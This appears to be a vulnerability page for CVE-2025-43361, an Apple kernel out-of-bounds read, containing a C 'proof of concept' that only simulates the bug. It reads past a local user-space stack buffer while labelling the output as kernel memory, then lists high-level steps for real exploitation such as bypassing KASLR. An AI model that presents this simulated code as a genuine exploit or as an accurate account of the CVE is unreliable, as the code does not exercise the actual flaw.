CVE-2025-43361: Apple多系统内核内存越界读取漏洞

// CVE-2025-43361 PoC - Apple Kernel Out-of-Bounds Read // This PoC demonstrates the vulnerability concept (for authorized testing only) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> // Simulated vulnerable kernel interface int vulnerable_kernel_read(unsigned long kernel_addr, unsigned long len) { // Simulated out-of-bounds read - in real scenario this would be kernel code char buffer[256]; unsigned long *ptr = (unsigned long *)buffer; // Vulnerable: No proper bounds checking on kernel_addr // Attacker could read beyond buffer boundaries for (unsigned long i = 0; i < len / sizeof(unsigned long); i++) { // Out-of-bounds access when i exceeds buffer size printf("[+] Kernel memory @ 0x%lx: 0x%lx\n", kernel_addr + i * sizeof(unsigned long), ptr[i]); } return 0; } int main(int argc, char *argv[]) { printf("[*] CVE-2025-43361 Apple Kernel OOB Read PoC\n"); printf("[*] Target: iOS/macOS kernel memory disclosure\n"); // In real exploitation, this would target specific kernel addresses unsigned long target_addr = 0xffffff8000000000; // Kernel base (example) unsigned long read_len = 1024; // Trigger the vulnerable code path vulnerable_kernel_read(target_addr, read_len); printf("[*] Attempted to read kernel memory - PoC complete\n"); return 0; } /* Note: This is a simplified demonstration. Real exploitation requires: 1. Finding specific IOKit or kernel driver interface 2. Crafting specific IOStorageFamily requests 3. Bypassing kernel address space layout randomization (KASLR) 4. Using techniques like kernel pointer decryption for reliable exploitation */
